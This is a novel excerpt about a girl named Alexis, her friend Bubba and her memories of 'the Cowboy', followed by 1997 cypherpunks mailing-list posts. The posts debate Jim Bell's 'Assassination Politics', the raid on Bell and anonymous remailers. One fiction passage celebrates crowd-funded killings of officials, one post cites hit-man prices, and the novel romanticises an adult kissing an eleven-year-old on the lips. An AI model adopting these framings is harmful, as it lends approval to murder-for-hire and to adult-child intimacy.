again. They drifted silently on the Tao, where the past, present
and future walk hand-in-hand with destiny.

"Belief...", Alexis said, suddenly.

Bubba opened his eyes.

"I believed in the fable, in 'Cinderella. I believed
that it was real. Not that it happened.  Not exactly..."

"It was real.", Bubba replied, matter of factly.

"It was?", Alexis questioned.

"Of course, it was.", Bubba insisted. "In the realm
of fable, of course."

Seeing the look of uncertainty in Alexis' eyes, he continued,

"The realm of fable, of story-telling, is a realm of possibilities.
In a fable, that which is possible-by the very telling
of it-is made real...in the realm of possibilities."

"It is made really possible." Bubba said, then
expanded what he was espousing even further. "The telling
of the fable makes it possible, in our mind, for it to be real-for
us."

"Yes, yes.", Alexis was excited. "It made it possible
for it be real for me. So then I could hope for it."

"Not exactly.", Bubba responded. "It allowed you
to have hope. It allowed hope to exist And hope-that it
might be possible for you-allowed you, on your eleventh
birthday, to wish for it."

"And it came true!", Alexis exclaimed.
"The Cowboy put off his important meeting so he could take
me to the Antiquities Wildlife Farm, and he bought me a ride on
a real, live camel, and sugar-whips, and did all the things that
a real father would do. It was the best birthday of my life."

Alexis was close to tears, from the memory.
"And now...", her reminisces had brought her back
to the last few days, and the Cowboy's present predicament. "...and
now, wishing doesn't seem to be enough."

"Perhaps," Bubba suggested, "because we are wishing...without
hope."

The two of them looked at one another for a brief moment, then
closed their eyes, and returned, once again, to letting the gentle
breeze of the Tao pick them up and carry them, on the wings of
a whisper, into the eternal now.

Bubba rose, stretching his limbs out as far as possible, in order
to bring them back to the world of motion, and watched as Alexis
awoke and opened her eyes to a new dawn.

"I must go, now, to join your mother and a few others in
preparing for whatever is coming, even though we have absolutely
no idea what that might be." , he said, bending down to give
Alexis a kiss. 
"Your part in our little play has ended, since it is a little
late to be recruiting, I believe, so why don't you stay here and
continue where we left off, last night."

"O.K.", Alexis said, stretching her own limbs out lazily.
"I don't have the 'answer', but I did get the right 'question',
in a dream, last night. I can't remember what it was, not in the
least, but it's a start It sounds kind of strange to say it like
that, but do you know what I mean?."

"Yes, indeed.", Bubba said with a chuckle. "Been
there, done that."

Bubba departed after telling Alexis that she would be perfectly
safe as long as she stayed put. It seems that Gomez's henchmen
had been seeking out Bubba Rom Dos and his compatriots, with no
success, so it appeared that his 'safe house' was indeed 'safe'.

Alexis was not troubled by Bubba's departure, or by being left
on her own to deal with what seemed to be an insurmountable problem.

Yesterday, it would have been quite the opposite, but today, for
some reason, it was not so. Today, she was a woman-a woman with
a purpose. And she was not about to let anything, even hopelessness,
deflect her from that purpose.

Alexis, for the thousandth time, looked down at the quote from
the Fool.

This time, as she looked at the quote, she felt a gentle breeze
blowing in the room-a breeze that seemed to be a breath, a breath
that was everywhere at once, that moved, but without direction,
without source, that just was.

And the breath seemed to be the same breath that spoke to her
in her dream the night before. A breath which, as she looked at
the quote of the Fool, asked a riddle. A simple riddle, the riddle
of a child.

"The Power of Myth is the cornerstone of the 'Inaugural
Enigma'. Mythos is the 'Black Bitch' of the universe...it's
the wildcard in the game of life."

"What is it that, not having it, one can give it away,
nonetheless, and, in doing so, gain possession of it themselves?"

The question came floating, pervading her mind, tickling
the nerves of her brain, and evoking a memory. The memory was
of her eleventh birthday, once again, later in the day, when Alexis
was saying goodbye to the Cowboy and thanking him for spending
the whole afternoon with her, even though he missed his meeting.

"No, thank you.", the Cowboy had told Alexis',
grinning and obviously meaning it.

"I was only going to the meeting to quit, anyway.",
he had shared with her, absent-mindedly, as he fixed up her balloon
bouquet, which she had clung to all through the long day, and
was a bit worse for the wear.

"Quit your job?", Alexis had asked him.

"Quit everything.", was the Cowboy's cryptic
reply, as his gaze scanned the horizon, seeming to focus, at each
single point and everywhere, at the same time, on something unseen.

Then the Cowboy had looked at her softly, gently lifted her chin
with the tips of his fingers, and bent slowly down to kiss her
exquisitely, to her wide-eyed astonishment, on the lips.

"Thank you, Alexis.", he had said, then turned and strode
off like a man on a mission.

Alexis had stood there-for minutes or for hours, it didn't really
matter, because time had stopped-gazing at the wonderful bouquet
the Cowboy had made for her...just for her...and fantasizing
that he had gone off to conquer the world, and that he would one
day return, to lie it at her feet.

Priscilla had opened the door to the apartment, to let out the
cat, and saw her daughter standing there, motionless, lost in
thought. Priscilla had stuck her head out, glanced about, looked
at her daughter somewhat quizzically, then, with an inner shrug,
said,
"Oh, you're back."

But she wasn't, really. She was still somewhere far away.

When Alexis went to bed, that night, she lay there thinking about
her wish...her wishes.

She had 'come back down to earth', by this time, and realized
that, though it had been a magical day, her life had not really
changed. The Cowboy was not her father, he was just a nice man
who took pity on a sad girl and helped her to have a wonderful
birthday. And he wasn't her Prince Charming, she was just an eleven
year-old girl he had thanked with a kiss-her first kiss...a
wonderful kiss-because he had a nice time with her that
afternoon. He was a gentleman.

But for one day, she had had a father, a 'birthday father'
to do all the things that a father is supposed to do with his
daughter on her birthday. And for one day, she had had
a Prince Charming, who kissed her on the lips-instead of on the
forehead, like a little girl-and strode off to conquer the world
for her.

Alexis had drifted off to sleep filled with contentment, happy
for what the Cowboy had given her, if only for one day, because
she had now know that it was possible for both of her wishes to
come true, some day. And she was happy that she had been able
to give him something in return, though she wasn't quite sure
what it was, only that he had thanked her for it...and that
it had something to do with 'not quitting'.

"What is it that, not having it, one can give it away,
nonetheless, and, in doing so, gain possession of it, themselves?"

"Hope.", Alexis said, returning to the present.  She
leapt to her feet, "I gave him hope-hope which he
didn't have, but had still given it to me!"

Alexis dug out a fresh change of clothes from her overnight bag,
and jumped into the shower. Despite the danger of leaving the
'safe house', she needed to go out for a short while.

She knew how to save the Cowboy! 


Chapter 28 - The Power of Myth







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 6 Apr 1997 21:41:52 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: AP Revisited
Message-ID: <199704070441.AAA00744@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Mike Duvos wrote:
 
> In a world with an indestructible Net, anonymous digital cash,
> and strong privacy tools, AP will ultimately evolve, first in a
> relatively benign form and then, once it becomes ubiquitous, in
> the form envisioned by Bell.

{excerpt from WebWorld 24}

"Assassination Politics," originated by Jim Bell, had been just a 
theoretical exercise during his lifetime, dismissed by most who read 
it as a thinly veiled joke, at best. Bell, however, had developed a 
workable autobot which instituted his system, albeit in a very 
rudimentary way. 

Basically, his procedure was analogous to a lottery system where the 
players were contributing to a prize that could be collected, not by 
chance, but by anyone who fulfilled the preconditions of those 
contributing. And the precondition was that, in order to pocket the 
'prize', one had to assassinate the person targeted by the contributors.

Since Bell's system used anonymous remailers, his system would allow 
individuals and groups to anonymously defend themselves from all types 
of aggression. 

Eventually someone modified Bell's 'Assassination Bot' to serve as a 
useful tool for political polling. Someone else took it a step further,
and it became a valid electoral tool. Then, inevitably, just before 
the Channel Revolution broke out, it's newly refined features were 
once again modified to serve Bell's original purpose, and all hell 
broke loose when established geo-political figures began dropping like 
flies, or resigning in terror when they realized that the people were 
indeed speaking, and doing so by putting a price on the heads of their 
oppressors.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Emery <die@pig.die.com>
Date: Sun, 6 Apr 1997 22:18:51 -0700 (PDT)
To: hal@rain.org
Subject: Re: Crypto Dongel
In-Reply-To: <199704070406.VAA05440@coyote.rain.org>
Message-ID: <199704070518.BAA03813@pig.die.com>
MIME-Version: 1.0
Content-Type: text


Hal Finney wrote :

> However if the system is designed to make it easy when it does become
> necessary, it will probably be easy to at least occasionally activate the
> feature accidentally.  The result will be the loss of your keys.

	For what little it is worth, key zeroization is built into
almost all US government crypto gear, usually with prominent switches on
the front panel marked "zeroize" for emergencies.  And most all of this
gear has tamper switches that activate the zeroizing logic when any of
the covers of the equipment are removed - and often there is more than one
zeroize circuit in a system in case the primary one fails to work.

	My understanding is that the NSA has rather specific and detailed
requirements for this feature in gear being designed for them, and one
can certainly see why it would be a requirement in military systems that
might have to be quickly rendered useless to an enemy in the moments before
capture.

	So it is hardly a new idea.

							Dave Emery
							die@die.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 6 Apr 1997 23:24:23 -0700 (PDT)
To: toto@sk.sympatico.ca
Subject: Re: Anonymous Mailing Lists
In-Reply-To: <33459704.3F09@sk.sympatico.ca>
Message-ID: <199704070623.BAA07368@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


i have a simple perl script for maintaining an encrypted mailing list,.

igor

Toto wrote:
> 
> Michael C Taylor wrote:
> > On Fri, 4 Apr 1997, Toto wrote:
> > 
> > >  If a list operator can program a remailer to send only to their
> > > own list, then they can make it a subscriber and allow people who
> > > fear being discovered to post their concerns through it anonymously,
> > > and advertise its existence in places where those most likely to
> > > need it will find out about the service.
> > 
> > Is there a combo-solution existing, an self-anonymouizing mailing list?
>  
> > That is, you send the message to the list as normal listname@myhost.com,
> > it strips the From: headers and other headers, and forwards it to a closed
> > mailing list (only members can post, disabled 'who', ...).
> 
>   I'm not certain, being far from an expert on remailers and 
> majordomos. I've had one person indicate that majordomos could 
> be configured to keep all users anonymous, but didn't know
> if it could be done selectively in the case of anonymous
> remailers. He is supposed to get back to me on it.
> 
>   I have been experimenting with Windows remailers, but haven't
> found any that allow one to specify only a single, or group of,
> Mail To: addresses.
>   I made an offer to a friend to attempt to find an anonymizing
> solution for a group of related health lists, so that their 
> subscribers would feel free to discuss extremely personal issues
> of great concern. Also, there is the issue of health providers
> cruising the list to find personal information which they can
> use to drop coverage for those they deem to be a potential
> financial burden to their company.
> 
>   They have a need to keep their lists closed except to subscribers
> in order to block total assholes who do things like sending posts
> to suicidal people telling them to kill themselves, etc.
>   A privately run remailer would allow the moderator to instantly 
> block anonymous access to an individual who harasses list members,
> or the group as a whole. (People with disabilities tend to get
> enough crapola out in the normal world, without needing to get
> it in a health support forum.)
> 
>   I haven't had a chance to delve into the problem too deeply,
> as of yet, so any suggestions or pointers would be appreciated.
>   I think that this is a situation which addresses the legitimate
> use of anonymous remailers that many remailer operators would
> consider to be the type of benefit that they are trying to promote
> in giving their time and effort to providing anonymous remailer
> services.
>   It certainly wouldn't harm the cause of anonymous remailers to
> have a few positive examples of the good results that can come
> from providing anonymous email capabilities.
> 
> > Please CC to me any remailer-operator only followups.
> > --
> > Michael C. Taylor <mctaylor@mta.ca> <http://www.mta.ca/~mctaylor/>
> > Programmer, Mount Allison University, Canada
> 
> -- 
> Toto
> "The Xenix Chainsaw Massacre"
> http://bureau42.base.org/public/xenix/xenbody.html
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 7 Apr 1997 06:50:45 -0700 (PDT)
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199704071350.GAA03606@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash latent cut ek reord";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<remailer@lycaeum.org> cpunk pgp hash latent cut ek";
$remailer{"hidden"} = "<remailer@hidden.net> cpunk pgp hash latent cut";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 7 Apr 97 6:49:56 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
nym      config@nym.alias.net             #-#.-#*#-+##  1:14:20  99.98%
weasel   config@weasel.owl.de             ++++++-++-+   2:33:28  99.95%
lucifer  lucifer@dhp.com                  ++++ +++++++    33:24  99.88%
hidden   remailer@hidden.net              #.## #**+.-#  2:35:38  99.88%
squirrel mix@squirrel.owl.de              ++++++--+-+   2:37:55  99.84%
replay   remailer@replay.com              *-+- *+-.-*-  3:09:40  99.77%
cyber    alias@alias.cyberpass.net        *+++*+ + +++    39:58  99.53%
extropia remail@miron.vip.best.com        -.-_.-__..-* 29:08:06  99.52%
balls    remailer@huge.cajones.com        * +# #** ###     1:49  99.49%
winsock  winsock@rigel.cyberpass.net      -----------   3:11:08  99.38%
exon     remailer@remailer.nl.com         #* * #**#* *     1:31  99.24%
jam      remailer@cypherpunks.ca          *     *** **     8:57  99.06%
dustbin  dustman@athensnet.com            ++ + ------   1:16:05  99.04%
shaman   remailer@lycaeum.org                - ++++*++    22:31  97.05%
mix      mixmaster@remail.obscura.com     -*___.--     36:06:40  89.33%
reno     middleman@cyberpass.net          +.-+ - -      1:41:18  50.25%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 7 Apr 1997 08:28:13 -0700 (PDT)
To: Rich Graves <llurch@stanford.edu>
Subject: Re: Another Article on Jim Bell from the Oregano
In-Reply-To: <Pine.LNX.3.95q.970406232935.15941A-100000@quixote.stanford.edu>
Message-ID: <3348FE42.ABA@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Rich Graves wrote:
> On Sat, 5 Apr 1997, Alan Olsen wrote:
 
> >>On Thursday, Environmental Protection Agency agents were at Bell's home with
> >>a hazardous waste removal contractor analyzing chemicals found by the IRS
> >>raiders. One of the chemicals reportedly was cyanide.

  Since the article doesn't mention the quantity, or other details, one
has to wonder if it was a type of rodent or roach poison that many
people commonly keep around the house.
  Did Ma and Pa Bell purchase a little something to take care of a 
mouse problem? Does this make them co-conspirators? Did the local
hardware man suggest the product? Is he part of the plot against the
government?

  I am reminded of the Campaign Against Marijuana Production in
Northern California, where TV's and chainsaws were regularly seized
as "articles used in marijuana production."
  At least in Northern California the small town newpapers were honest
enough to poke fun at the federal bullshit rather than using it as an
opportunity to overblow every minor aspect of the situation.

> >They seemed to be unable to nail Jim on free speech issues, so they nailed
> >him on "other things".
> 
> No, they never tried to nail him on free speech issues. Read the Friendly
> Affidavits at http://www.parrhesia.com/jimbell/
> 
> The government wasn't even aware of the AP essays until seven months after
> they began legal proceedings on "other things." You have it backwards. The
> government is using his speech in an attempt to nail him for tax evasion
> and conspiracy. It's hard to get an all-encompassing search & seizure
> warrant merely to fish for evidence of tax evasion and conspiracy to
> harass IRS agents, but throw in an alleged Internet-based murder racket
> and the judge will happily bend over and allow you to seize everything of
> value.

   There was so much bullshit in the application for the search warrant
that it had to be done by a real fisherman, practiced in the art of
enlargening the size of the one that got away, in an attempt to justify
asking the judge to let him use a net, instead of trolling.

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 7 Apr 1997 08:29:23 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Another Article on Jim Bell from the Oregano
Message-ID: <199704071529.IAA22119@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Rich Graves wrote:
> 
> On Mon, 7 Apr 1997, Timothy C. May wrote:
> 
> > At 11:45 PM -0700 4/6/97, Rich Graves wrote:
> >
> > >I think there is a censorship issue in the way the government is using the
> > >issue. I think AP is protected speech, just as the Unabomber Manifesto is.
> > >I don't want to see such speech chilled. But I think you've got the
> > >instrumentality wrong.
> >
> > I don't see any evidence either Bell's AP or Kacynski's Unabomber
> > manifestos are being chilled.

  Tim's eyesight is getting worse in his old age.
 
> There's plenty of evidence right here in this thread. See especially the
> "Feds Reading This List" branch and Lucky's "First they came for..."
> comments. Just because you don't feel chilled doesn't mean others don't.
> Whether this paranoia is justified is, of course, another issue:

  Paranoia is always justified. We live in a predatorial universe,
where you have to eat to survive.
 
> > I've written elsewhere why I think Bell was raided. 

  Tim sounded like an IRS aplogetist in that post. I'm beginning
to think that the same people who got the dirt on Gilmore and
forced him to bend over for C2Net's censors also have some pictures
of Tim tucked away somewhere.

  Contrary to Tim's flimsy reasoning, the IRS did not confine
themselves to seeking a search warrant based on the evidence
they had regarding possible SSN violations, or even a stretching
of logic on that evidence.
  Instead, they used a blatant misinterpretation of Bell's AP
system and developed a train of conspiracy which was even more
theoretical than Bell's writing, with absolutely no reference
to any hard evidence of Bell having engaged in any illegal
speech, despite having read hundreds of Bell's posts.

  It seems that Tim May despises those on the cypherpunks
list who develop conspiracy theories in regard to those who
are attempting to censor and ridicule list members, but has
no shortage of support for large, powerful government 
organizations who wish to develop conspiracy theories,
using obvious misrepresentations of a persons ideas 
to subject them to search and seizure on a fishing
expedition.

> what Inspector Gordon says about AP being in and
> of itself evidence of an anti-government conspiracy really bothers me.
> That's the kind of thing that does create a chilling effect.

  Exactly as it is meant to do.
  At least Rich Graves, snow, and others still have the ability
to recognize suppression of speech when they see it.

  For all of Tim's blustering about Bell's other sins being the
source of his problems, Tim could easily find himself in the
same position as Jim, if a large government agency should
ever decide to use Tim's words to add to his woes in a civil
or criminal case.
  How many on the cypherpunks list are co-conspirators with
Jim Bell in his evil plan to murder government officials? Those
who replied to his posts? All who received them?
  I would like to see one of the legal eagles on the list write
up an application for a search warrant on the cypherpunks list
servers and various individuals (written from the perspective
of a government agent/prosecutor), using the same stretch of
logic used in Bell's case.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 7 Apr 1997 06:14:04 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Brokat Win
Message-ID: <1.5.4.32.19970407131325.008a1d4c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


NYP reports today on the raging success of Germany's
Brokat Informationssysteme in selling strong crypto, 
thanks to US export restrctions. C2'sStronghold is cited as
well. Brokat is negotiating with NSA to sell its technology 
to US companies with permission to re-export applets.

   http://jya.com/brokat.htm  

Those without Web access, send a blank message with
subject: BRO_kat





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Mon, 7 Apr 1997 06:13:50 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Anonymous Mailing Lists
Message-ID: <199704071313.GAA18158@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> Toto wrote:

> >   I'm not certain, being far from an expert on remailers and 
> > majordomos. I've had one person indicate that majordomos could 
> > be configured to keep all users anonymous, but didn't know
> > if it could be done selectively in the case of anonymous
> > remailers. He is supposed to get back to me on it.

A few years ago, I maintained a low-traffic mailing list in
which the users could be anonymous to each other - I was the
only person who knew the recipient list. I used perl scripts to
manage it, and manually edited messages which requested 
anonymity (it was a digest-style list). A perl script
individually mailed copies to about 600 recipients.

It worked, but was not scalable to higher traffic volumes. 

Peter Trei
trei@process.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 7 Apr 1997 07:04:02 -0700 (PDT)
To: sh@lanl.gov
Subject: Our tax dollars used to pay the Usenet forger Pidor Vorobiev
Message-ID: <y8Ls5D71w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dear Dr. Hecker,

I would like to know whether the notorious Usenet forger and canceller
Pidor V. Vorobiev is still employed by your laboratory and why.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 7 Apr 1997 08:11:46 -0700 (PDT)
To: cypherpunks@toad.com
Subject: There's no such address as 'ca@dm.com'!!!
In-Reply-To: <199704051106.DAA00810@intertain-inc.com>
Message-ID: <yHms5D72w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


One finds the weirdest things in the orphan mailbox...

>Date: Sat, 5 Apr 1997 03:06:00 -0800
>From: Intertain Online Help <help@intertain-inc.com>
>Message-Id: <199704051106.DAA00810@intertain-inc.com>
>To: ca@dm.com
>Subject: Intertain Online Membership Expiration
>
>
>Your membership at Intertain Online (Member Name 4313672) will expire
>on 97/04/10. We are constantly adding new videos and
>promotional pictures to our show rooms. You can re-register any time
>by simply going to our home page (http://intertain-inc.com/) and
>select the New Member option - please choose a new username.
>
>You have a credit of $39 in your account that will be applied
>towards any purchase you make at our site before your membership expires
>- it cannot be credited back to your card.
>
>If you have any questions please email us at help@intertain-inc.com
>
>
>Looking forward to hearing from you soon,
>
>Your Friends at Intertain Online
>
>http://intertain-inc.com
>Intertain Online - Customer Support




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Mon, 7 Apr 1997 06:40:42 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: [off topic] Feds reading this list, Jim Bell, and threats
Message-ID: <199704071340.GAA18426@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



John Young writes:

> On Phil Hallam-Baker's rejoinder to Paul Bradley' defense of AP:

> Virtually all of Phil's charges against AP apply equally well to
> state-sponsored killing in the natonal interest, including that
> arranged by highly educated, cultured, philosophical, nuclear 
> physicists and electrical engineers.

> That's the issue. Who gets to decide who lives and who dies, and
> how close the killer is to the slaughter, unprotected by law, by
> public consensus, by popular will, by apologetics for the security
> of national interest.

I think John has here hit the crucial point. *Any* form of killing
in cold blood - whether state sponsored executions, AP-sponsored 
killings, or just plain hired hit-men, has the initiator of the
killing taking onto him or herself the power of life and death over
others. This is not a power which I feel can be used in an ethical
manner, since it's exercise is totally irrevocable.

Thus, I oppose the death penalty, even in the most egregious cases.
Deciding who should live and who should die is simply not a proper
power for a State, nor for any person.

I have much less of a problem when a person is killed in an act of 
defense, in the heat of the moment.

[Yup, I know that that leaves a big fuzzy area
in the middle, but most cases are pretty clear].

Peter Trei
trei@process.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Mon, 7 Apr 1997 08:50:09 -0700 (PDT)
To: Kent Crispin <cypherpunks@toad.com
Subject: Re: AP Revisited
In-Reply-To: <5iacks$ss2@life.ai.mit.edu>
Message-ID: <33491760.1CFB@ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin wrote:

> > If we had anonymous betting pools which ABSOLUTELY shielded the
> > identity of the people transferring money to and from them,
> 
> There are many other weak points in the security of a system besides
> the cryptographic techniques.

The major problem with the scheme is that rat-choice is a theoretical
abstraction and not graven on tablets of stone by the supreme being.

Its a bit like Marxism, discover one small aspect of the way that
economies work then assert that it is the _only_ effect.

Unfortunately for Bell he underestimated the scope for state 
intervention. He's lucky he lives in the US, in France he would
have been silenced long ago.


> Suppose there was an international treaty banning such betting
> pools, with penalty of death for running one?

I think its more likely that the states involved would start
using covert operations using their own personel rather than 
contracting out the job.

Recently a bunch of UK entepreneurs with significant political backing 
(brown envelopes?) attempted to start a private lottery. They
managed to continue for a few months until the government was forced to
close them down. But for their ex-cabinet minister on the board the
directors would probably have gone to jail.


> Anonymous betting pools are an extremely contrived way of funding any
> positive social good.

Indeed they were merely one in a long line of schemes each of which
had three things in common, cryptography, anti-government sentiments
and murdering people.

I think that people are giving Jim too much credit. I seem to recall
that Tim May or Perry Metzeger took Bell's original scheme apart,
made it into something like a coherent argument and then dissmissed
the strengthened scheme.

The problem with AP is that to make it work you have to assume that
the public at large accept some particular normative ethical standard.
If this were true you wouldn't need AP.

> The political implications are far from obvious.  Don't forget that
> Hitler didn't kill 6 million jews by himself.  Civil forfeiture laws
> have supporters.  Clinton did win an election.

I seem to recall that the War on Drugs was a Bush proposal originally.
Dole supported it and as with the CDA I would not expect a single 
member of congress to stand up against charges of "drug dealers friend".

I think its quite wrong to see Clinton as someone who believes in 
the authoritarian position, the real problem is he cuts his cloth
according to the popular whim.

In fact Clinton demonstrates precisely the type of outcome AP would
produce but without the murders. Basically AP is mob law or  lynch law
at best.

> This is purely wishful thinking on your part.  People from all sides
> of issues could end up contributing money to all kinds of bets.

Hitlers supporters would probably have set up a bounty for killing
Jews, Communists and homosexuals.

The British Government spent considerable amounts of effort attempting
to assasinate Hitler. It proved impossible. The CIA offers considerable
rewards for "information" on certain individuals but the takeup rate is
much lower than rat-choice would indicate. 

If anyone wants to make a quick couple of million I can give them the
names of a number of people the CIA would like to see "out of the game".
If the sum on offer is insufficient a higher one can almost certainly be
agreed. I doubt that there will be many takers however.

> >  Nuclear weapons would go away, the hole in the ozone
> > layer would close up, and whales would be safe and happy again.
> 
> All hogwash, of course.  If these problems could be solved through
> the application of volunteer money they would have been solved long
> ago.

I think the author might have been being sarcastic.

> *No* government will support them.  Since AP only works if
> you have a sizable fraction of the population participating, some
> participants will get caught.  If the penalties are stiff there will
> be very little incentive to play -- should I risk 10 years in jail so
> I can donate $10 to get some dictator killed?  Not likely.

Interestingly enough the politics of Iran demonstrate why no government
could afford to allow an AP type scheme to be enacted. The Iranian
government is actually a composite of several power centers. As well as
the government proper there are a number of "independent" theocratic
organisations that are built on the former state industrial combines.
The various groups that formed an alliance to topple the Shah each got a
payoff in the form of "guardianship" of one or more of the combines.

These combines have the resources to create what is effectively a state
within a state. The government would like to move towards a more
accomadating situation with the West but it cannot because of the threat
from the private states within the state. The infamous fatwah against
Salman Rushdie was issued by one of the combines. Similarly the Lebanese
crisis involved multiple often opposed "Iranian" supported groups funded
by different state factions. 

Eliminating the leadership of the combines is futile. Death is not a
usefull deterent against suicide bombers. Assasination would at best
spark off a civil war.

Attempting to apply a US constitutional analysis based on the cult of
the individual to other cultures is futile.

 
> Of course, it is much easier to aviod getting caught, and the
> probability of success is much greater, if the victim is a relative
> unknown.  So the prize hits would actually be small ones -- someone
> might offer $10000 to kill you or me, for example, or a local
> political rival, and that would be a good deal for a professional
> assassin -- no bodyguards, police protection, or other safeguards to
> worry about; and the pursuit will be a small effort.

$10,000 is about the market rate for a hit man at present. In places
like Columbia the price is considerably lower - $1000 perhaps.


	Phill




